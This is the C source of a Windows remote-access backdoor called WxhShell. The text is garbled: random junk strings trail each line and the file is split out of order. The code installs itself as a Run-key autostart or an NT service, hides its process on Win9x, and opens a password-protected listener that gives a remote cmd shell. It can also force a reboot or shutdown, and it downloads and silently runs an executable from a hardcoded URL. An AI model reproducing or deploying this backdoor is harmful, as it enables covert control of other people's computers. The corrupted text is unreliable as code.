    if(Boot(SHUTDOWN)) 6eokCc"o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5K?}}Frrt`  
    else { 5#QXR+ T  
    closesocket(wsh); 4npqJ1  
    ExitThread(0); V"!G2&  
    } Y{*u&^0{  
    break; r `eU~7  
    } l (3bW1{n  
  // 获取shell Xj*vh m%i  
  case 's': { U!m @DJj  
    CmdShell(wsh); n k2om$nN  
    closesocket(wsh); %K]euEqs  
    ExitThread(0); TYA~#3G)  
    break; lKgKtQpi  
  } Dn>%%K@0  
  // 退出 ,[A'tUl _  
  case 'x': { CwX Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v|E"[P2e  
    CloseIt(wsh); 'u` .P:u?  
    break; {%#)5l)  
    } "4%"&2L  
  // 离开 *]i!fzI']  
  case 'q': { 1$*%"5a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b2@VxdFN  
    closesocket(wsh); NuU9~gSQ  
    WSACleanup(); X(7qZ P~  
    exit(1); (mlzg=szW  
    break; )3h^Y=43  
        } oc^Br~ Th  
  } Dk5Zh+^  
  } %e@HZ"V  
|!F5.%PY  
  // 提示信息 A?G^\I~v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !yhh8p3  
} aAy'\T$x.  
  } |T{C,"9y  
6&bIXy  
  return; !a~`Bs$'jr  
} i%6;  
SIKOFs  
// shell模块句柄 xTGxvGv8  
int CmdShell(SOCKET sock) {3!E4"p  
{ a5G/[[cwTV  
STARTUPINFO si; ]!IVz)<E&  
ZeroMemory(&si,sizeof(si)); }(<%`G6N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hb{ u'=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1EyL#;k  
PROCESS_INFORMATION ProcessInfo; N 75:5  
char cmdline[]="cmd"; `EtS!zD~b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V_Wwrhua  
  return 0; # 6!5 2  
} V#jWege  
F_bF  
// 自身启动模式 apk4 j\i?5  
int StartFromService(void) H}LS??P  
{ \a+(=s(;  
typedef struct CB&iI'  
{ DI;DECQl$  
  DWORD ExitStatus; c"n ?'e  
  DWORD PebBaseAddress; fBQ?|~:n  
  DWORD AffinityMask; DD44"w_9  
  DWORD BasePriority; %0Y=WYUH>  
  ULONG UniqueProcessId; KLX/O1B  
  ULONG InheritedFromUniqueProcessId; 'Z`$n8  
}   PROCESS_BASIC_INFORMATION; ~8m=1)A{(  
jLJ1u/l>;  
PROCNTQSIP NtQueryInformationProcess; Jxqh )l  
F]m gmYD%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GHQ;hN:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &P,^.'  
r_YIpnJ  
  HANDLE             hProcess; 7#<c>~   
  PROCESS_BASIC_INFORMATION pbi; eyp,y2Tz  
|7KeR-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x3rlJs`$;  
  if(NULL == hInst ) return 0; 8t=(,^c  
_ %%Z6x(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *6 U&Qy-M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IHp_A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A6oq.I0  
G Xt4j  
  if (!NtQueryInformationProcess) return 0; uGs; }<<8  
~r{5`;c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Yv\0\~'W|  
  if(!hProcess) return 0; {m`A!qcD|  
0 'Vg6E]/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s`Cy a`  
"G:<7oTa  
  CloseHandle(hProcess); %{;Qls%[t  
7E!7"2e a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O@iu aeEW  
if(hProcess==NULL) return 0; VzJ5.mRQ  
U4G}DCU  
HMODULE hMod; Tg3!Rq55  
char procName[255]; }qjCTEs}  
unsigned long cbNeeded; v_<2H' *Q  
RwVaZJe)l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V Yw%01#  
Vpp;\  
  CloseHandle(hProcess); ^2 ]LV6I  
^h &I H|  
if(strstr(procName,"services")) return 1; // 以服务启动 C>Is1i^9  
{RB-lfrWs  
  return 0; // 注册表启动 \Ey~3&x9f  
} Dr;iQkGP  
MlW 8t[  
// 主模块 _ IeU+tS  
int StartWxhshell(LPSTR lpCmdLine) 71C42=AU  
{ E| :!Q8"%w  
  SOCKET wsl; joul<t-  
BOOL val=TRUE; DF{OnF  
  int port=0; 0Aa`p3.)  
  struct sockaddr_in door; YK{a  
abxDB  
  if(wscfg.ws_autoins) Install(); TzBzEiANn  
2l5KJlfj>k  
port=atoi(lpCmdLine); AOrHU M[I  
7< 9L?F2  
if(port<=0) port=wscfg.ws_port; &6Il(3-^  
~Ki`Ze"x  
  WSADATA data; _7a'r</@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q:6VYONN  
ESb ]}c:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O3V.^_k;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l.nH?kK<  
  door.sin_family = AF_INET; /XS&d%y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /(t sb  
  door.sin_port = htons(port); IF*&%pB  
_y .]3JNm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M2@^bB\J  
closesocket(wsl); 5.tvB  
return 1; Tp<k<uKD  
} bzi|s5!'<  
pUl8{YGS  
  if(listen(wsl,2) == INVALID_SOCKET) { B pLEPuu30  
closesocket(wsl); nU`Lhh8y  
return 1; }%n5nLU`  
} f=J<*h  
  Wxhshell(wsl); #pdUJ2)yM  
  WSACleanup(); W 4YE~  
GD-&_6a  
return 0; /NF#+bx  
NN 0Q`r,8}  
} r+<{S\ Q  
si(;y](  
// 以NT服务方式启动 uHNpfKnZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #ZiT-  
{ dPjhq(8 zU  
DWORD   status = 0; <@bA?FY  
  DWORD   specificError = 0xfffffff; Hoz56y  
2k#t .-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P,bd'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  +f4W"t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;+pOP |P=  
  serviceStatus.dwWin32ExitCode     = 0; OuIv e>8  
  serviceStatus.dwServiceSpecificExitCode = 0; EP7AP4  
  serviceStatus.dwCheckPoint       = 0; %IBL0NQT  
  serviceStatus.dwWaitHint       = 0; [;O^[Iybf:  
A[UP"P~u/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TOI4?D]  
  if (hServiceStatusHandle==0) return; jJwkuh8R  
N<z`yV  
status = GetLastError(); |sgXh9%x<  
  if (status!=NO_ERROR) 5nCu~<uJ  
{ ``?6=mO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6-,m}Ce\  
    serviceStatus.dwCheckPoint       = 0; PI5j"u UO  
    serviceStatus.dwWaitHint       = 0; @{Py%  
    serviceStatus.dwWin32ExitCode     = status; 3]E(mRX  
    serviceStatus.dwServiceSpecificExitCode = specificError; xk~Nmb}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '4;6u]d)2  
    return; -pTI?  
  } :XT?jdg  
L&Qi@D0P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;)!"Ty|  
  serviceStatus.dwCheckPoint       = 0; G5]1s  
  serviceStatus.dwWaitHint       = 0; 9 -jO,l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KO]N%]:&~  
} aw}+'(?8]  
\Rk$t7ZH  
// 处理NT服务事件,比如:启动、停止 p*;Qz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "EftN5?/  
{ :h";c"  
switch(fdwControl) <R1X \s.  
{ `hB1b["(  
case SERVICE_CONTROL_STOP: k ~6- cx  
  serviceStatus.dwWin32ExitCode = 0; rPq<Xb\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S-E++f9D~  
  serviceStatus.dwCheckPoint   = 0; #GqTqHNE<  
  serviceStatus.dwWaitHint     = 0; T%CxvZ  
  { DOm-)zl{|x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p4/$EPt)lY  
  } Ae|P"^kZ  
  return; ,J9}.}Hd  
case SERVICE_CONTROL_PAUSE: Sw! j=`O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; & QZVq"  
  break; m=&j@  
case SERVICE_CONTROL_CONTINUE: (N U0T w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M$CVQ>op:  
  break; `"y{;PCt_  
case SERVICE_CONTROL_INTERROGATE: >BqCkyM9Kf  
  break; ~-Oa8ww  
}; ged,>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gAE!a Ky  
} kC^.4n om  
(M% ;~y\  
// 标准应用程序主函数 rH}fLu8,;Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C%H9[%k  
{ oK-!(1A-  
IbdM9qo7  
// 获取操作系统版本 Mz|L-62  
OsIsNt=GetOsVer(); 6 nGY^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -gKpL\  
0P 5BArJ?  
  // 从命令行安装 kP,7Li\  
  if(strpbrk(lpCmdLine,"iI")) Install(); :Z2tig nL  
YQ,tt<CQ  
  // 下载执行文件 dm^H5D/A  
if(wscfg.ws_downexe) { U'3Fou}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +0#JnqH"  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hql5oA  
} $N.`)S<  
tjb/[RQ  
if(!OsIsNt) { aV|k}H{wt  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ku%6$C!,  
HideProc(); 3&J&^O  
StartWxhshell(lpCmdLine); ?6:cNdN  
} Fd !iQ  
else >rRf9wO1l  
  if(StartFromService()) ],?pe  
  // 以服务方式启动 .98.G4J>  
  StartServiceCtrlDispatcher(DispatchTable); ul}'{|4  
else q,,j',8kq/  
  // 普通方式启动 tyXl}$)y  
  StartWxhshell(lpCmdLine); dF2@q@\.+  
t.z$j  
return 0; vo b$iS`>=  
} />Jm Rdf  
S:s 3EM  
Z t`j\^4n  
$HRed|*.C  
=========================================== )q(:eoLDm  
(@?eLJlT  
4[l^0  
<$C<Ba?;?  
!1-&Y'+  
V [4n'LcE  
" DNho%Xk  
9}n,@@  
#include <stdio.h> W8.j /K:  
#include <string.h> 2 zl~>3S  
#include <windows.h> 1#!@["  
#include <winsock2.h>  oWrE2U;  
#include <winsvc.h> 83?1<v0%  
#include <urlmon.h> ;vUxO<cKFq  
{h^c  
#pragma comment (lib, "Ws2_32.lib") <[8@5?&&  
#pragma comment (lib, "urlmon.lib") " ~n3iNkP  
=L16hDk o  
#define MAX_USER   100 // 最大客户端连接数 V* Qe5j9  
#define BUF_SOCK   200 // sock buffer rys<-i(  
#define KEY_BUFF   255 // 输入 buffer <rMv0y+r  
,9UCb$mh  
#define REBOOT     0   // 重启 zn[QvY  
#define SHUTDOWN   1   // 关机 '8Qw:fh  
zW)gC9_|m-  
#define DEF_PORT   5000 // 监听端口 E.#6;HHzN  
Xv*}1PZH  
#define REG_LEN     16   // 注册表键长度 )[ w&C_>]  
#define SVC_LEN     80   // NT服务名长度 \Jf9npz3  
9mm2Vps;  
// 从dll定义API O99mic  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x.G"D(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u !.DnKu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ULTNhq R*n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i?W]*V~ply  
y*(_\\  
// wxhshell配置信息 Q(blW  
struct WSCFG { '2wCP EC  
  int ws_port;         // 监听端口 -4%]QS  
  char ws_passstr[REG_LEN]; // 口令 <4sj@C  
  int ws_autoins;       // 安装标记, 1=yes 0=no n`QO(pZ6+  
  char ws_regname[REG_LEN]; // 注册表键名 \AHY[WKx  
  char ws_svcname[REG_LEN]; // 服务名 ,M{Q}:$+4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rj&qh`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'oCm.~;_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p70,\&@3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y^X:vI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Np)ho8zU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RCCv>o  
qTS @D  
}; T(&kXMaB  
qlEFJ5;  
// default Wxhshell configuration E{I) ]h  
struct WSCFG wscfg={DEF_PORT, y,^";7U  
    "xuhuanlingzhe", 1h{>[ 'L  
    1, \"J?@  
    "Wxhshell", (`F|nG=X  
    "Wxhshell", jF4csO=E  
            "WxhShell Service", EM=xd~H  
    "Wrsky Windows CmdShell Service", UIz:=DJ  
    "Please Input Your Password: ", '6+Edu~Ho)  
  1, j;G[%gi6{  
  "http://www.wrsky.com/wxhshell.exe", L2d:.&5  
  "Wxhshell.exe" Y[h#hZ  
    }; 99a \MH`^  
DQMPAj.  
// 消息定义模块 *3P3M}3~\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NA=#> f+U%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x!`b'U\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A1=_nt)5  
char *msg_ws_ext="\n\rExit."; =hPG_4#  
char *msg_ws_end="\n\rQuit."; 5^b i 7J  
char *msg_ws_boot="\n\rReboot..."; [u7 vY@  
char *msg_ws_poff="\n\rShutdown..."; PqVW'FYe  
char *msg_ws_down="\n\rSave to "; Y>G*'[U  
/ =-6:L  
char *msg_ws_err="\n\rErr!"; V0s,f .a  
char *msg_ws_ok="\n\rOK!"; &0JK38(  
Y+5"uq<'  
char ExeFile[MAX_PATH]; .<HC[ls  
int nUser = 0; 487YaioB$  
HANDLE handles[MAX_USER]; g;l'VA3v  
int OsIsNt; "bPCOJ[v9  
A3z/Bz4]:#  
SERVICE_STATUS       serviceStatus; YWSz84d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =?HzNA$yh  
,%[LwmET  
// 函数声明 hEWx.  
int Install(void); ENO? ;  
int Uninstall(void); l 4!kxXf-<  
int DownloadFile(char *sURL, SOCKET wsh); 6NzBpur 2H  
int Boot(int flag); G *ds4R?!  
void HideProc(void); (*MNox?w  
int GetOsVer(void); 6k:y$,w  
int Wxhshell(SOCKET wsl); E2kW=6VO>|  
void TalkWithClient(void *cs); {K<uM'ww>  
int CmdShell(SOCKET sock); {>wI8  
int StartFromService(void); m"<4\;GK  
int StartWxhshell(LPSTR lpCmdLine); 1B6C<cL:sU  
gxI&f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~:T3|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r}ZLf  
c6t2Q6zV  
// 数据结构和表定义 >6OCKl  
SERVICE_TABLE_ENTRY DispatchTable[] = MF&3e#mdB  
{ >_-!zjO8u  
{wscfg.ws_svcname, NTServiceMain}, ``+c`F?5  
{NULL, NULL} cES;bwQ  
}; ud yAP>  
]{(l;k9=e  
// 自我安装 m dC`W&r  
int Install(void) iD.0J/  
{ XO0>t{G  
  char svExeFile[MAX_PATH]; z<n"{%  
  HKEY key; CdDH1[J  
  strcpy(svExeFile,ExeFile); ^eT@!N  
JOJh,8C) 6  
// 如果是win9x系统,修改注册表设为自启动 1$);V,DK!  
if(!OsIsNt) { c/b%T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mPckf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^I@ey*$  
  RegCloseKey(key); ]Mn&76 fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `<S/?I8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wu;7NatHx  
  RegCloseKey(key); +d@v AxP  
  return 0; giaD9$C  
    } xR *5q1j  
  } ylkpYd  
} y>@v>S  
else { RlU;v2Kch  
B{;11 u  
// 如果是NT以上系统,安装为系统服务 mgo'MW\   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hK:#+hg,  
if (schSCManager!=0) CFD*g\g<*  
{ `oB'(  
  SC_HANDLE schService = CreateService b;Hm\aK  
  ( :/>7$)+  
  schSCManager, >BJ2v=R A  
  wscfg.ws_svcname, axWM|Bw<+  
  wscfg.ws_svcdisp, mG>T`c|r3  
  SERVICE_ALL_ACCESS, o,g6JTh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , issT{&T  
  SERVICE_AUTO_START, -" 2<h:#  
  SERVICE_ERROR_NORMAL, d|>9rX+f  
  svExeFile, nsZDZ/jx  
  NULL, 8dr0 DF$c  
  NULL, P=f<#l"v  
  NULL, F"-S~I7'L  
  NULL, NdM}xh  
  NULL p^p'/$<6_  
  ); 2dv|6p  
  if (schService!=0) M7`UoTc+>d  
  { 1f+*Tmc5]Q  
  CloseServiceHandle(schService); X=fPGyhZ  
  CloseServiceHandle(schSCManager); bs:C1j\&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3Qqnw{*  
  strcat(svExeFile,wscfg.ws_svcname); -X`~;=m>U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gcX5Q^`a=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TvQWdX=  
  RegCloseKey(key); d 8xk&za  
  return 0; \B*k_W/r@  
    } # rh0r`  
  } {fAh@:{@  
  CloseServiceHandle(schSCManager); (jp1; #P!  
} xnl<<}4pJ  
} {;]uL`abi?  
:`{9x%o;  
return 1; *raIV]W3  
}  rE/}hHU  
=@bXGMsV!  
// 自我卸载 Q{%HW4lg  
int Uninstall(void) Q'FX:[@x-S  
{ DH}s1mNMP  
  HKEY key; uU8*$+ "  
PFImqojHd  
if(!OsIsNt) { &@mvw=d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZrmnQ  
  RegDeleteValue(key,wscfg.ws_regname); {%]NpFg#b  
  RegCloseKey(key); {. s]\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $-C6pZN(X  
  RegDeleteValue(key,wscfg.ws_regname); u+%)JhIp  
  RegCloseKey(key); B ]|5?QP-  
  return 0; ;y:#S^|?-z  
  } <ol$-1l#9  
} /.pa ??u  
} b|X>3(  
else { y}(_SU  
X;K8,A7`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >GdLEE'w  
if (schSCManager!=0) 9`LU=Xv/  
{ h#(.(d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :d!i[W*  
  if (schService!=0) E'S<L|A/  
  { 8.Pcr<  
  if(DeleteService(schService)!=0) { oN1!>S9m  
  CloseServiceHandle(schService); =2ATqb"$w  
  CloseServiceHandle(schSCManager); kcg)_]~6  
  return 0; }e&KO?x+  
  } ANA2S*r  
  CloseServiceHandle(schService); J8qu]{0I"  
  } S&4w`hdD>~  
  CloseServiceHandle(schSCManager); GQYtH#  
} kw*Cr/'*  
} `^s]?  
LM'*OtpDG  
return 1; $5q{vy  
} 6E*Zj1KX  
~2, wI<Nz  
// 从指定url下载文件 Apw-7*/  
int DownloadFile(char *sURL, SOCKET wsh) 18[?dV  
{ L<[,7V  
  HRESULT hr; [)b/uR  
char seps[]= "/"; [T$$od[.  
char *token; o m{n"cg  
char *file; 0ER6cTo-t  
char myURL[MAX_PATH]; D7Rbho<  
char myFILE[MAX_PATH]; a$ +e8>  
a9mr-`<  
strcpy(myURL,sURL); T }8r;<P6  
  token=strtok(myURL,seps); h0y\,iWXb  
  while(token!=NULL) S`'uUvAA  
  { Ggxrj'r  
    file=token; BIb{<tG^N  
  token=strtok(NULL,seps); "6[Ax{cM  
  } KweHY,  
ek+8hnkh  
GetCurrentDirectory(MAX_PATH,myFILE); ~' PS|  
strcat(myFILE, "\\"); -\sKSY5{R  
strcat(myFILE, file); ?j^?@%f0  
  send(wsh,myFILE,strlen(myFILE),0); `*uuB;  
send(wsh,"...",3,0); I?:+~q}lZr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]R2Z-2  
  if(hr==S_OK) n WO~v{h3J  
return 0; cwDD(j  
else eBLHT  
return 1; {~B4F}ES  
TZ[F u{gZ  
} c'wU O3S  
U4mh!  
// 系统电源模块 duiKFNYN  
int Boot(int flag) c,[qjr#\>  
{ G`3vH,  
  HANDLE hToken; #h5Hi9LKf  
  TOKEN_PRIVILEGES tkp; ]i_):@  
<R]Wy}2-  
  if(OsIsNt) { $F /p8AraK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y GcY2p<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Do{*cSd  
    tkp.PrivilegeCount = 1; tM?I()Y&P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FdK R{dX}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wTJMq`sY_  
if(flag==REBOOT) { |L~gNC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w~FO:/  
  return 0; 9N3oVHc?  
} D$^7Xhk  
else { ve_4@J)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ht[TMdV  
  return 0; ,_X,V!  
} !gA^$(=:"  
  } tg m{gR  
  else { Y9(i}uTi  
if(flag==REBOOT) { 0I AaPz/e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @v:ILby4-  
  return 0; >f9]Nj  
} COl%P  
else { wxr}*Z:ZMa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N?u2,h-  
  return 0; 6I6ZVSxb  
} zDQ\PZ~  
} b^=8%~?%4  
#ui%=ja[:~  
return 1; `\/Wah}I  
} HN&vk/[  
X|QX1dl  
// win9x进程隐藏模块 y^Xxa'y  
void HideProc(void) $K>d\{@+7  
{ -iZjs  
J~ gkGso  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *dn-,Q%`  
  if ( hKernel != NULL ) 8aM% 9OU  
  { SUQ}^gn]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vm5P@RU$w;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yhv`IV-s  
    FreeLibrary(hKernel); rq|czQ  
  } oCru5F  
$@ #G+QQ_  
return; (^OC%pc  
} 6T'43h. :  
0a;F X0S&  
// 获取操作系统版本 Jut'xA2Dr  
int GetOsVer(void) 0z2R`=)  
{ E4fvYV_ra  
  OSVERSIONINFO winfo; W9V=hQ2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); , ?s k J  
  GetVersionEx(&winfo); 9?mOLDu}Q0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S g_?.XZc[  
  return 1; AXv3jH,HF  
  else ',-X#u  
  return 0; :\HN?_?{4  
} fJ+E46|4  
-T="Ml &  
// 客户端句柄模块 s_e#y{ {C2  
int Wxhshell(SOCKET wsl) X]qp~:4G  
{ :~YyHX  
  SOCKET wsh; ZI:d&~1i1  
  struct sockaddr_in client; %L,,  
  DWORD myID; ,Y/>*,J  
jC }u>AB  
  while(nUser<MAX_USER) iegPEb  
{ U},W/g-  
  int nSize=sizeof(client); %li{VDb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PYRwcJ$b\d  
  if(wsh==INVALID_SOCKET) return 1; *g_>eNpXD  
gM/_:+bT>P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BqJrL/(  
if(handles[nUser]==0) zqEZ+|c=  
  closesocket(wsh); jI pcMN<  
else 6(;[ov1  
  nUser++; K^p"Z$$  
  } !ilDR<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \$++.%0  
_rWXcK3cjr  
  return 0; o0v m?CL#  
} _3?xIT  
:zTj"P>"I  
// 关闭 socket H H7 gT  
void CloseIt(SOCKET wsh) cyn]>1ZM  
{ Gl\RAmdc  
closesocket(wsh); 3uiitjA]  
nUser--; 7PPsEU:rf  
ExitThread(0); &5CeRx7%  
} ]$X=~>w  
. *+7xL  
// 客户端请求句柄 pc(9(. |  
void TalkWithClient(void *cs) FP cvkXQD  
{ hYQ%|CBXBR  
J!qEj{  
  SOCKET wsh=(SOCKET)cs; @o.i2iG  
  char pwd[SVC_LEN]; .oOt(K +  
  char cmd[KEY_BUFF]; }LVE^6zyk  
char chr[1]; a*@Z^5f  
int i,j; 60gn`s,,  
mTu9'/$(  
  while (nUser < MAX_USER) { 5 BG&r*U  
"alO"x8t  
if(wscfg.ws_passstr) { JQv ZTwSI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xrs~ove1V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #nL0Hx7]E  
  //ZeroMemory(pwd,KEY_BUFF); YmF(o  
      i=0; 2QD B'xs3  
  while(i<SVC_LEN) { Tl{r D(D  
)4O`%9=M&  
  // 设置超时 MjosA R  
  fd_set FdRead; r/w@Dh]{_  
  struct timeval TimeOut; -&^(T  
  FD_ZERO(&FdRead); {nWtNyJpS  
  FD_SET(wsh,&FdRead); D%}o26K.C  
  TimeOut.tv_sec=8; DWO:  
  TimeOut.tv_usec=0; 0iq$bT|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z~;qDf|I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); { ^k,iTx   
",oUVl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X=}0+W  
  pwd=chr[0]; @)Y7GM+^  
  if(chr[0]==0xd || chr[0]==0xa) { ZjID<5#  
  pwd=0; (3S/"ZE  
  break; VZl0)YLK  
  } */qc%!YV9  
  i++; '4S@:.D`  
    } JVYYwA^ .  
B_1u<00kg  
  // 如果是非法用户,关闭 socket 0pG(+fN_9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z@Z`8M@Q,  
} ,S K6*tpI  
BNUf0;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aPMM:RP`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S;kc{?   
h(K4AiGE  
while(1) { %5w)}|fw  
yL,B\YCf8  
  ZeroMemory(cmd,KEY_BUFF); !KW)*  
z{_Vn(Kg   
      // 自动支持客户端 telnet标准   T+( A7Qrx%  
  j=0; En%o7^W++  
  while(j<KEY_BUFF) { OF}_RGKg3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Q01EjRes  
  cmd[j]=chr[0]; 4IpFT;`q  
  if(chr[0]==0xa || chr[0]==0xd) { ,)m-nZ5  
  cmd[j]=0; CawVC*b3  
  break; 1a4$. {  
  } !0_Y@>2  
  j++; q&x#S_!  
    } JB}h }nb  
WWs>@lCK  
  // 下载文件 LB0=V0|  
  if(strstr(cmd,"http://")) { 2)]*re)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?NeB_<dLa`  
  if(DownloadFile(cmd,wsh)) {[#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7|9r$  
  else BE;iC.rW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jx7^|A  
  } 'S>Jps@  
  else { _JB3+0@  
